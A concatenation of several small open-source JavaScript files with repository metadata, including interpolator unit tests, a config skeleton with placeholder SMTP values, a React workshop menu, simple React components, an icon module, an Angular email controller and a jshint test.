         const interpolator = expressionInterpolator.create();
         expect( interpolator ).to.be.an( 'object' );
      } );
      describe( 'the returned object', () => {
         const interpolator = expressionInterpolator.create();
         it( 'has an interpolate method', () => {
            expect( interpolator ).to.respondTo( 'interpolate' );
         } );
      } );
   } );
   ///////////////////////////////////////////////////////////////////////////////////////////////////////////
   describe( '.interpolate( context, data )', () => {
      const context = {
         id: 'my-id0',
         features: {
            test: {
               enabled: true,
               resource: 'my-resource'
            }
         }
      };
      const interpolator = expressionInterpolator.create();
      describe( 'when interpolating plain strings', () => {
         it( 'returns non-matching strings unchanged', () => {
            expect( interpolator.interpolate( context, '$test' ) )
               .to.eql( '$test' );
         } );
         it( 'replaces feature references', () => {
            expect( interpolator.interpolate( context, '${features.test.resource}' ) )
               .to.eql( 'my-resource' );
         } );
         it( 'replaces topic references', () => {
            expect( interpolator.interpolate( context, '${topic:my-topic}' ) )
               .to.eql( 'my+id0+my-topic' );
         } );
         it( 'replaces exact matches without converting to strings', () => {
            expect( interpolator.interpolate( context, '${features.test.enabled}' ) )
               .to.eql( true );
         } );
         it( 'replaces substring matches with the stringified value', () => {
            expect( interpolator.interpolate( context, '!${features.test.enabled}' ) )
               .to.eql( '!true' );
         } );
         /* Undocumented/hidden feature */
         /*
         it( 'supports multiple matches per string', () => {
            expect( interpolator.interpolate( context,
               '${topic:my-topic} => ( ${features.test.resource}, ${features.test.enabled} )' )
            ).to.eql( 'my+id0+my-topic => ( my-resource, true )' );
         } );
         */
      } );
      describe( 'when interpolating arrays', () => {
         it( 'returns non-matching items unchanged', () => {
            expect( interpolator.interpolate( context, [ '$test' ] ) )
               .to.eql( [ '$test' ] );
         } );
         it( 'replaces feature references in array items', () => {
            expect( interpolator.interpolate( context, [ '${features.test.resource}' ] ) )
               .to.eql( [ 'my-resource' ] );
         } );
         it( 'replaces topic references in array items', () => {
            expect( interpolator.interpolate( context, [ '${topic:my-topic}' ] ) )
               .to.eql( [ 'my+id0+my-topic' ] );
         } );
         it( 'drops items where the expression evaluates to undefined', () => {
            expect( interpolator.interpolate( context, [ '1', '${features.empty}', '2' ] ) )
               .to.eql( [ '1', '2' ] );
         } );
      } );
      describe( 'when interpolating objects', () => {
         it( 'replaces feature references in object properties', () => {
            expect( interpolator.interpolate( context, { test: '${features.test.resource}' } ) )
               .to.eql( { test: 'my-resource' } );
         } );
         it( 'replaces topic references in object properties', () => {
            expect( interpolator.interpolate( context, { test: '${topic:my-topic}' } ) )
               .to.eql( { test: 'my+id0+my-topic' } );
         } );
         it( 'replaces feature references in object keys', () => {
            expect( interpolator.interpolate( context, { '${features.test.resource}': 'test' } ) )
               .to.eql( { 'my-resource': 'test' } );
         } );
         it( 'drops properties where the expression evaluates to undefined', () => {
            expect( interpolator.interpolate( context, { test: '${features.empty}', ok: true } ) )
               .to.eql( { ok: true } );
         } );
         it( 'drops keys where the expression evaluates to undefined', () => {
            expect( interpolator.interpolate( context, { '${features.empty}': 'test', ok: true } ) )
               .to.eql( { ok: true } );
         } );
      } );
      describe( 'when interpolating anything else', () => {
         it( 'returns numbers unchanged', () => {
            expect( interpolator.interpolate( context, 123 ) ).to.eql( 123 );
         } );
         it( 'returns booleans unchanged', () => {
            expect( interpolator.interpolate( context, true ) ).to.eql( true );
            expect( interpolator.interpolate( context, false ) ).to.eql( false );
         } );
      } );
   } );
} );
 | 
	LaxarJS/laxar-tooling | 
	test/expression_interpolator.js | 
	JavaScript | 
	mit | 5,308 | 
| 
	module.exports = {
  development: {
    session: {
      key: '${randomstring.generate(30)}',
      path: '/tmp/session.nedb'
    },
    view_engine: 'jade',
    smtp: {
      secure: true,
      user: 'user',
      password: 'password',
      server: 'smtp.example.com'
    },
    database: {
      driver: 'sqlite',
      host: './',
      database: '${controllerName.toLowerCase()}_development.sqlite'
    }
  },
  test: {
    session: {
      key: '${randomstring.generate(30)}',
      path: '/tmp/session.nedb'
    },
    view_engine: 'jade',
    smtp: {
      secure: true,
      user: 'user',
      password: 'password',
      server: 'smtp.example.com'
    },
    database: {
      driver: 'sqlite',
      host: './',
      database: '${controllerName.toLowerCase()}_test.sqlite'
    }
  },
  production: {
    session: {
      key: '${randomstring.generate(30)}',
      path: '/tmp/session.nedb'
    },
    view_engine: 'jade',
    smtp: {
      secure: true,
      user: 'user',
      password: 'password',
      server: 'smtp.example.com'
    },
    database: {
      driver: 'sqlite',
      host: './',
      database: '${controllerName.toLowerCase()}_test.sqlite'
    }
  }
} | 
	moongift/airline | 
	skeleton/config.js | 
	JavaScript | 
	mit | 1,188 | 
| 
	import React, { Component } from 'react';
import NavLink from './NavLink';
import './Menu.css';
class Menu extends Component {
  componentDidMount() {
    this.hideMenu = this.hideMenu.bind(this);
    this.menuIcon = document.querySelector('.menu__icon');
    this.menu = document.querySelector('.menu');
    this.menuOverlay = document.querySelector('.menu__overlay');
    this.bindNavigation();
  }
  componentWillReceiveProps(nextProps) {
    if (nextProps.isMenuOpen) {
      this.showMenu();
    }
  }
  toggleMenu() {
    if (!this.isMenuOpen()) {
      this.showMenu();
    }
    else {
      this.hideMenu();
    }
  }
  isMenuOpen() {
    return this.menu.classList.contains('menu--show');
  }
  hideMenu() {
    this.menu.classList.remove('menu--show');
    this.menuOverlay.classList.remove('menu__overlay--show');
  }
  showMenu() {
    this.menu.classList.add('menu--show');
    this.menuOverlay.classList.add('menu__overlay--show');
  }
  bindNavigation() {
    document.body.addEventListener('keyup', (event) => {
      let menuListElement = document.querySelector('.menu__list a.active').parentElement;
      if (event.key === 'ArrowLeft') {
        let activeSiblingElement = menuListElement.previousElementSibling;
        if (activeSiblingElement && activeSiblingElement.children) {
          menuListElement.previousElementSibling.children[0].click();
        }
      }
      else if (event.key === 'ArrowRight') {
        let activeSiblingElement = menuListElement.nextElementSibling;
        if (activeSiblingElement && activeSiblingElement.children) {
          activeSiblingElement.children[0].click();
        }
      }
    });
  }
  render() {
    return (
      <div className="menu-container">
        <div className="menu">
          <div className="menu__header">
            <h2>Workshop 1</h2>
          </div>
          <ul className="menu__list">
            <li>
              <NavLink to="/prerequisites">
                <span className="menu__steps">0</span>
                Prerequisites
            </NavLink>
            </li>
            <li>
              <NavLink to="/introduction" onlyActiveOnIndex={true}>
                <span className="menu__steps">1</span>
                Introduction
              </NavLink>
            </li>
            <li>
              <NavLink to="/setup">
                <span className="menu__steps">2</span>
                Setup
              </NavLink>
            </li>
            <li>
              <NavLink to="/up-and-running">
                <span className="menu__steps">3</span>
                Up & Running
              </NavLink>
            </li>
            <li>
              <NavLink to="/components">
                <span className="menu__steps">4</span>
                Components
              </NavLink>
            </li>
            <li>
              <NavLink to="/routing">
                <span className="menu__steps">5</span>
                Routing
              </NavLink>
            </li>
            <li>
              <NavLink to="/fetching-data">
                <span className="menu__steps">6</span>
                Fetching Data
              </NavLink>
            </li>
            <li>
              <NavLink to="/styles">
                <span className="menu__steps">7</span>
                Styles
              </NavLink>
            </li>
            <li>
              <NavLink to="/homework">
                <span className="menu__steps">8</span>
                Homework
              </NavLink>
            </li>
          </ul>
          <div className="menu__header">
            <h2>Workshop 2</h2>
          </div>
          <ul className="menu__list">
            <li>
              <NavLink to="/recap">
                <span className="menu__steps">9</span>
                Recap
              </NavLink>
            </li>
            <li>
              <NavLink to="/architecture">
                <span className="menu__steps">10</span>
                The App, Architecture
              </NavLink>
            </li>
            <li>
              <NavLink to="/back-to-fundamentals">
                <span className="menu__steps">11</span>
                Back to fundamentals
              </NavLink>
            </li>
            <li>
              <NavLink to="/component-design">
                <span className="menu__steps">12</span>
                Component Design
              </NavLink>
            </li>
            <li>
              <NavLink to="/airbnb-map-view">
                <span className="menu__steps">13</span>
                Airbnb Map View
              </NavLink>
            </li>
            <li>
              <NavLink to="/on-your-own">
                <span className="menu__steps">14</span>
                On your own
              </NavLink>
            </li>
          </ul>
          <div className="menu__header">
            <h2>Workshop 3</h2>
          </div>
          <ul className="menu__list">
            <li>
              <NavLink to="/recap-two">
                <span className="menu__steps">15</span>
                Recap
              </NavLink>
            </li>
            <li>
              <NavLink to="/search-ui">
                <span className="menu__steps">16</span>
                Search UI
              </NavLink>
            </li>
            <li>
              <NavLink to="/map-ui">
                <span className="menu__steps">17</span>
                Map UI
             </NavLink>
            </li>
            <li>
              <NavLink to="/list-item-detail">
                <span className="menu__steps">18</span>
                List Item Detail View
            </NavLink>
            </li>
            <li>
              <NavLink to="/on-your-own-two">
                <span className="menu__steps">19</span>
                On Your Own
              </NavLink>
            </li>
            <div className="menu__header">
              <h2>Workshop 4</h2>
            </div>
            <li>
              <NavLink to="/recap-three">
                <span className="menu__steps">20</span>
                Recap
              </NavLink>
            </li>
            <li>
              <NavLink to="/state-management">
                <span className="menu__steps">21</span>
                State Management
              </NavLink>
            </li>
            <li>
              <NavLink to="/the-api">
                <span className="menu__steps">22</span>
                The Bar Finder API
              </NavLink>
            </li>
            <li>
              <NavLink to="/reorganize">
                <span className="menu__steps">23</span>
                Let's Get Started
              </NavLink>
            </li>
            <li>
              <NavLink to="/store-setup">
                <span className="menu__steps">24</span>
                Store Setup
              </NavLink>
            </li>
            <li>
              <NavLink to="/home-screen">
                <span className="menu__steps">25</span>
                Home Screen
              </NavLink>
            </li>
            <li>
              <NavLink to="/map-screen">
                <span className="menu__steps">26</span>
                Map Screen
              </NavLink>
            </li>
            <li>
              <NavLink to="/congrats">
                <span className="menu__steps">27</span>
                Congratulations!
              </NavLink>
            </li>
          </ul>
        </div>
        <div className="menu__overlay" onClick={this.hideMenu}></div>
      </div>
    );
  }
}
export default Menu;
Menu.defaultProps = {
  isMenuOpen: false
};
 | 
	gufsky/react-native-workshop | 
	src/Menu.js | 
	JavaScript | 
	mit | 7,711 | 
| 
	var HelloComponent = React.createClass(
{
  render: function()
  {
    var el = (
      <div>
        Hello
        <ChildrenComponent/>
      </div>
    );
    return el;
  }
});
var ChildrenComponent = React.createClass(
{
  render: function()
  {
    var elArray = [<ChildComponent/>,<ChildComponent/>,<ChildComponent/>];
    var el = (<div>{elArray}</div>);
    return el;
  }
});
var ChildComponent = React.createClass(
{
  render: function()
  {
    var el = (<div>child</div>);
    return el;
  }
});
var mount = React.render(<HelloComponent/>, document.body);
 | 
	kenokabe/react-abc | 
	www/react01-2.js | 
	JavaScript | 
	mit | 607 | 
| 
	import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon( /*#__PURE__*/_jsx("path", {
  d: "M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zM8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8zm8.25 6.75c-.95 1.64-2.72 2.75-4.75 2.75s-3.8-1.11-4.75-2.75c-.19-.33.06-.75.44-.75h8.62c.39 0 .63.42.44.75zM15.5 11c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5z"
}), 'TagFacesRounded'); | 
	oliviertassinari/material-ui | 
	packages/mui-icons-material/lib/esm/TagFacesRounded.js | 
	JavaScript | 
	mit | 529 | 
| 
	/**
 * EmailController
 * @namespace kalendr.email.controllers
 */
(function () {
    'use strict';
    angular
        .module('kalendr.email.controllers')
        .controller('EmailController', EmailController);
    EmailController.$inject = ['$rootScope', '$scope', 'Authentication', 'Snackbar', 'Email'];
    /**
     * @namespace EnmasseController
     */
    function EmailController($rootScope, $scope, Authentication, Snackbar, Email) {
        var vm = this;
        vm.submit = submit;
        function submit() {
            var format;
            if (vm.email_type == 'PDF') {
                format = 1;
            } else {
                format = 0;
            }
            Email.create(vm.start_date, vm.end_date, format).then(emailSuccess, emailError);
            $scope.closeThisDialog();
            function emailSuccess(data, status, headers, config) {
                Snackbar.show('Success! Email sent');
            }
            function emailError(data, status, headers, config) {
                Snackbar.error(data.error);
            }
        }
    }
})
();
 | 
	bewallyt/Kalendr | 
	static/javascripts/email/controllers/new-email.controller.js | 
	JavaScript | 
	mit | 1,102 | 
| 
	// @flow
import URLSearchParams from 'url-search-params'; // a polyfill for IE
type LocationType = {
  hash: string,
  pathname: string,
  search: Object
};
export function getLocationParts(loc: LocationType) {
  return {
    hash: loc.hash.substring(1),
    path: loc.pathname,
    query: new URLSearchParams(loc.search),
  };
}
 | 
	mvolkmann/starter | 
	src/util/hash-route.js | 
	JavaScript | 
	mit | 333 | 
| 
	FCKLang.InsertCodeBtn			= 'Insert Code' ;
 | 
	poppastring/dasblog | 
	source/newtelligence.DasBlog.Contrib.FCKeditor/FCKeditor/editor/plugins/insertcode/lang/en.js | 
	JavaScript | 
	mit | 45 | 
| 
	'use strict';
var grunt = require('grunt');
var jshint = require('../tasks/lib/jshint').init(grunt);
// In case the grunt being used to test is different than the grunt being
// tested, initialize the task and config subsystems.
if (grunt.task.searchDirs.length === 0) {
  grunt.task.init([]);
  grunt.config.init({});
}
exports['jshint'] = function(test) {
  test.expect(1);
  grunt.log.muted = true;
  test.doesNotThrow(function() {
    jshint.lint(grunt.file.read('test/fixtures/lint.txt'));
  }, 'It should not blow up if an error occurs on character 0.');
  test.done();
};
 | 
	jadedsurfer/genx | 
	node_modules/grunt/node_modules/grunt-contrib-jshint/test/jshint_test.js | 
	JavaScript | 
	mit | 584 |